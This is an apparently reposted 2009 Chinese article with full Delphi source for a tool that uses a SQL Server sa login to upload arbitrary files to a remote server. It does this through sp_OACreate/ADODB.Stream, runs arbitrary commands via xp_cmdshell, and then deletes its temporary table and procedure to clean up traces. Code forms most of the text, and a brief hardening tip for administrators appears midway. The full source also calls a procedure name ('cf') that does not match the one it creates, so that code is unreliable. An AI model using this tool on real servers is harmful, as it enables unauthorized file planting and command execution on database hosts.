通过SQL SERVER远程上传文件的实现
|
来源:www.vfcocus.net 作者:SCOFIELD 发布时间:2009-06-25
|
|
我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方 服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽, 赶快对SQL SERVER进行了一番研究,并整理出了这篇文章,希望对一些程序新手会有帮助。 写过数据库程序的朋友应该知道,我们可以往数据库中存取各种类型的资料数据 比如文本,整型,二进制等数据。 在这里通过SQL SERVER服务器远程上传文件的思路就是, 1、先通过SQL语句,在对方服务器上创建一临时表, 下面是创建临时表的过程: procedure Create_temptable; begin try query1.Close; query1.SQL.Clear; query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)'); query1.SQL.Add('drop table [dbo].[temptable]'); query1.SQL.Add('CREATE TABLE [dbo].[temptable] ('); query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,'); query1.SQL.Add('[ny] [image] NULL'); query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]'); query1.ExecSQL; except on e:exception do raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 )); end; end; 在创建表时,我创建了两个字段,filename字段存储文件的文件名,ny字段存储文件的二进制数据。 2、往临时表内插入文件 procedure insert_file(filename:string); var openfile:tfilestream; begin try openfile:=tfilestream.Create(filename,FmOpenRead); //创建文件流 query1.Close; query1.SQL.Clear; query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)'); query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename); query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob); query1.ExecSQL; finally freeandnil(openfile); end; end; 3、插入文件之后,就应该让服务器,自动去读取临时表内的内容,并把表内的二进制数据转储为文件, 这样就达到了将文件上传到服务器的目的。 我们知道,存储过程一般在服务器上运行,所以这个任务就交给存储过程啦,当然这个存储过程我们要自行创建才行, 它的作用就是从临时表内读出数据并保存为文件 下面的过程就是通过SQL语句在服务器上面创建存储过程。 procedure Create_proc; //创建保存文件存储过程。 begin try query1.Close; query1.SQL.Clear; query1.SQL.Add('CREATE PROCEDURE SCOFIELD'); //存储过程名 query1.SQL.Add('as'); query1.SQL.Add('begin'); query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度 query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据 query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)'); query1.SQL.Add('declare @filename varchar(200)'); query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;'''); query1.SQL.Add('set @sql=''select * from temptable'''); query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT'); query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr'); query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出上传的文件名 query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out'); query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流 query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态 query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本 query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流 query1.SQL.Add('set @i=0'); query1.SQL.Add('while @Len > @i');// --循环写入数据 query1.SQL.Add('begin'); query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000'); query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流 query1.SQL.Add('set @i=@i+8000'); query1.SQL.Add('end'); query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处 query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据 // query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径,不设置将存储在SYSTEM32下面 query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--保存为文件 query1.SQL.Add('exec sp_OADestroy @myRecordset'); query1.SQL.Add('exec sp_OADestroy @Stream'); query1.SQL.Add('select output=''命令成功'''); query1.SQL.Add('end'); query1.ExecSQL; except end; end; 4、保存文件的存储过程我们也建好了, 也到了执行它的时候了.... 下面这个过程是用来执行存储过程的 procedure Create_file; //执行存储过程创建文件 begin try query1.Close; query1.SQL.Clear; query1.sql.Add('exec SCOFIELD'); //执行存储过程 query1.ExecSQL; except end; end; 执行完存储过程后,我们的文件就己经上传OK啦, 不过不擦屁股可不是好习惯, 我们还应该删除刚才创建的临时表和存储过程。 删除临时表的过程: procedure Del_temptable; //删除临时表 begin try query1.Close; query1.SQL.Clear; query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)'); query1.SQL.Add('drop table [dbo].[temptable]'); query1.ExecSQL; except on e:exception do raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 )); end; end; 删除存储过程的过程: procedure del_proc; begin try query1.Close; query1.SQL.Clear; query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)'); query1.sql.Add('drop procedure [dbo].[SCOFIELD]'); query1.ExecSQL; except end; end; 大功告成,现在你发现只要按照上面过程的执行顺序执行,就可以顺利的通过SQL SERVER上传文件到服务器了。 上面的QUERY1对象是DELPHI中的ADOQUERY控件,如果你还不会使用,请先去翻翻书。 下面再来研究一下如何通过SQL SERVER 远程地执行DOS命令, 其实很简单,在SQLSERVER中,有一xp_cmdshell的存储过程, 通过该存储过程,我们可以在通过SQL SERVER在服务器上执行任何的DOS命令, 通过SQL语句的执行,我们可以很方便地在对方服务器上面执行DOS命令, 像这样: query1.Close; query1.SQL.Clear; query1.SQL.Add('exec master..xp_cmdshell '''+ 这里存放的就是要执行的DOS命令了 +'''';); query1.open; 一条SQL语句搞定。 如果你是一名网络管理员,为了服务器的安全请检查你的SQL SERVER是否还存在此存储过程。 如果有删除它就行了,不会有什么影响,或是卸载xpsql70.dll这个动态链接库就OK了。 为此,我将自己平常用的的一个SQL查询器也加上了此功能,并贴上源代码,希望能够一些程序新手带来帮助。 下面是查询器的源代码: unit Unit1; //------------------------------------------------------------------------------ // Author : SCOFIELD QQ:19154194 // UpDate : 2009-05-20 // Name : SCOFIELD SQL 查询器 // Version : 1.0.0.0 //------------------------------------------------------------------------------ interface uses Windows, Messages, SysUtils, Forms, StdCtrls, DB, ADODB, DBGridEh,xpman, DBGRids,DBGridEhImpExp, Classes, Dialogs, ExtCtrls, Grids, Controls; type TForm1 = class(TForm) Label1: TLabel; Button1: TButton; memo1: TMemo; con1: TADOConnection; Query1: TADOQuery; GroupBox1: TGroupBox; GroupBox2: TGroupBox; GroupBox3: TGroupBox; DBGridEh1: TDBGridEh; Panel1: TPanel; Button2: TButton; Button3: TButton; Button4: TButton; DataSource1: TDataSource; Button5: TButton; Button6: TButton; Open1: TOpenDialog; Edit1: TEdit; Label2: TLabel; Label3: TLabel; ComboBox1: TComboBox; ComboBox2: TComboBox; Query2: TADOQuery; Button7: TButton; SaveDialog1: TSaveDialog; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button5Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button6Click(Sender: TObject); procedure Create_temptable; //创建临时表 procedure Del_temptable; procedure insert_file(filename:string); //插入文件 procedure Create_file; //创建文件 procedure Create_proc; procedure del_proc; procedure Button7Click(Sender: TObject); procedure ComboBox1Change(Sender: TObject); procedure FormCreate(Sender: TObject); //删除存储过程。 private { Private declarations } public { Public declarations } end; var Form1: TForm1; ip,name,pwd,sql,table:string; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit; //查询时显示列头标题 DBGridEh1.Options:=DBGridEh1.Options+[dgTitles] ; try query1.Close; query1.SQL.Clear; if trim(memo1.Lines.Text)='' then begin if (combobox1.Text<>'表名') and (combobox1.text<>'') then begin if (combobox2.text<>'字段名') and (combobox2.Text<>'') then sql:='select '+combobox2.Text+' from '+combobox1.Text else sql:='select * from '+combobox1.Text; end; end else begin sql:=memo1.Lines.Text; end; query1.SQL.Add(sql); query1.OPEN; if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false; except on e:exception do raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 )); end; end; procedure TForm1.Button2Click(Sender: TObject); begin if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit; try sql:=memo1.Lines.Text; query1.Close; query1.SQL.Clear; query1.SQL.Add(sql); query1.ExecSQL; except on e:exception do raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 )); end; application.MessageBox ('执行成功','执行成功',mb_ok); end; procedure TForm1.Button5Click(Sender: TObject); var constr:string; i:integer; TableList:TStringList; begin TableList:=Tstringlist.Create; constr:=PromptDataSource(Handle,''); if constr='' then begin button1.Enabled:=false; button2.Enabled:=false; button3.Enabled:=false; button6.Enabled:=false; exit; end else begin if pos('SQLOLEDB',constr)<>0 then begin //如果为SQLSEVER,则显示上传按钮 button3.Enabled:=true; button6.Enabled:=true; end else begin button3.Enabled:=false; button6.Enabled:=false; end; button1.Enabled:=true; button2.Enabled:=true;
end; edit1.Text:=constr; try con1.Close; query1.Close; con1.ConnectionString:=constr; con1.Open; query1.Connection:=con1; application.MessageBox ('连接成功','连接成功',mb_ok); except on e:exception do raise exception.Create(pchar('无法连接!下面是错误信息:'+#13+e.Message+#13 )) end; //下面开始检测表名 con1.GetTableNames(TableList,false); combobox1.Items.Clear; combobox1.Items.AddStrings(Tablelist); combobox1.Text:='表名'; combobox2.Items.Clear; combobox2.Text:='字段名'; end; procedure TForm1.Button3Click(Sender: TObject); begin DBGridEh1.Options:=DBGridEh1.Options-[dgTitles] ; try sql:='exec master..xp_cmdshell '''+memo1.Lines.Text+''''; query1.Close; query1.SQL.Clear; query1.SQL.Add(sql); query1.open; if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false; except on e:exception do raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 )); end; end; procedure TForm1.Button4Click(Sender: TObject); begin memo1.Text:=''; end; //上传文件到服务器 procedure TForm1.Button6Click(Sender: TObject); begin if not open1.Execute then exit; //下面创建临时表 self.Create_temptable; self.Create_proc; //创建存储过程 self.insert_file(open1.FileName); //插入文件 self.Create_file; //执行存储过程,下载文件 self.Del_temptable; //删除临时表 self.del_proc; //删除存储过程。 end; procedure Tform1.Create_temptable; //创建临时表 begin try query1.Close; query1.SQL.Clear; query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)'); query1.SQL.Add('drop table [dbo].[temptable]'); query1.SQL.Add('CREATE TABLE [dbo].[temptable] ('); query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,'); query1.SQL.Add('[ny] [image] NULL'); query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]'); query1.ExecSQL; except on e:exception do raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 )); end; end; procedure Tform1.Del_temptable; //删除临时表 begin try query1.Close; query1.SQL.Clear; query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)'); query1.SQL.Add('drop table [dbo].[temptable]'); query1.ExecSQL; except on e:exception do raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 )); end; end; procedure tform1.insert_file(filename:string); //插入文件 var openfile:tfilestream; begin try openfile:=tfilestream.Create(filename,FmOpenRead); //以只读方式打开; query1.Close; query1.SQL.Clear; query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)'); query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename); query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob); query1.ExecSQL; finally freeandnil(openfile); end; end; procedure Tform1.Create_proc; //创建存储过程。 begin try query1.Close; query1.SQL.Clear; query1.SQL.Add('CREATE PROCEDURE SCOFIELD'); query1.SQL.Add('as'); query1.SQL.Add('begin'); query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度 query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据 query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)'); query1.SQL.Add('declare @filename varchar(200)'); query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;'''); query1.SQL.Add('set @sql=''select * from temptable'''); query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT'); query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr'); query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出文件名 query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out'); query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流 query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态 query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本 query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流 query1.SQL.Add('set @i=0'); query1.SQL.Add('while @Len > @i');// --循环写入数据 query1.SQL.Add('begin'); query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000'); query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流 query1.SQL.Add('set @i=@i+8000'); query1.SQL.Add('end'); query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处 query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据 // query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径 query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--另存为文件 query1.SQL.Add('exec sp_OADestroy @myRecordset'); query1.SQL.Add('exec sp_OADestroy @Stream'); query1.SQL.Add('select output=''命令成功'''); query1.SQL.Add('end'); query1.ExecSQL; except end; end; procedure TForm1.Create_file; //创建文件 ,执行存储过程。 begin try query1.Close; query1.SQL.Clear; query1.sql.Add('exec cf'); query1.ExecSQL; except end; end; procedure Tform1.del_proc; //删除存储过程。 begin try query1.Close; query1.SQL.Clear; query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)'); query1.sql.Add('drop procedure [dbo].[SCOFIELD]'); query1.ExecSQL; except end; end; //将查询出来的数据保存为EXCEL表格 procedure TForm1.Button7Click(Sender: TObject); var ExcelName:string; begin if DBGridEh1.RowCount<=1 then exit; SaveDialog1.Filter:='Excel 文件 (*.XLS)|*.XLS'; if (combobox1.Text<>'表名') and (combobox1.Text<>'') then SaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1'; if SaveDialog1.Execute then begin ExcelName:=SaveDialog1.FileName+'.XLS'; IF length(excelname)>0 THEN begin SaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True); application.MessageBox ('保存成功!','保存EXCEL文件成功',mb_ok+MB_ICONASTERISK); end; end; end; procedure TForm1.ComboBox1Change(Sender: TObject); var tablename:string; flist:Tstringlist; begin if combobox1.Text='' then exit; tablename:=combobox1.Text; if tablename='表名' then exit; query2.Connection:=con1; query2.Close; query2.SQL.Clear; query2.SQL.Add('select top 1 * from '+tablename); query2.Open; flist:=Tstringlist.Create; //下面检测字段名 query2.GetFieldNames(flist); combobox2.Items.Clear; combobox2.Items.AddStrings(flist); end; procedure TForm1.FormCreate(Sender: TObject); begin button1.Enabled:=false; button2.Enabled:=false; button3.Enabled:=false; button6.Enabled:=false; button7.Enabled:=false; end; end. 程序中使用了DBGridEh控件,请自行下载, 程序写的时候没有考虑得很全面,欢迎大家对它改进,并发一份副本给我。 此查询器可以查看各种数据格式的数据库文件,并支持SQL语句的执行,自动检测出数据库内包含的各表名,字段名, 并可将查询出来的结果保存为EXCEL表格。希望能给朋友们带来工作上的帮助。 其中 COMMAND是用来执行DOS命令的, Upload File是用来上传文件到对方SQL SERVER服务器的
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|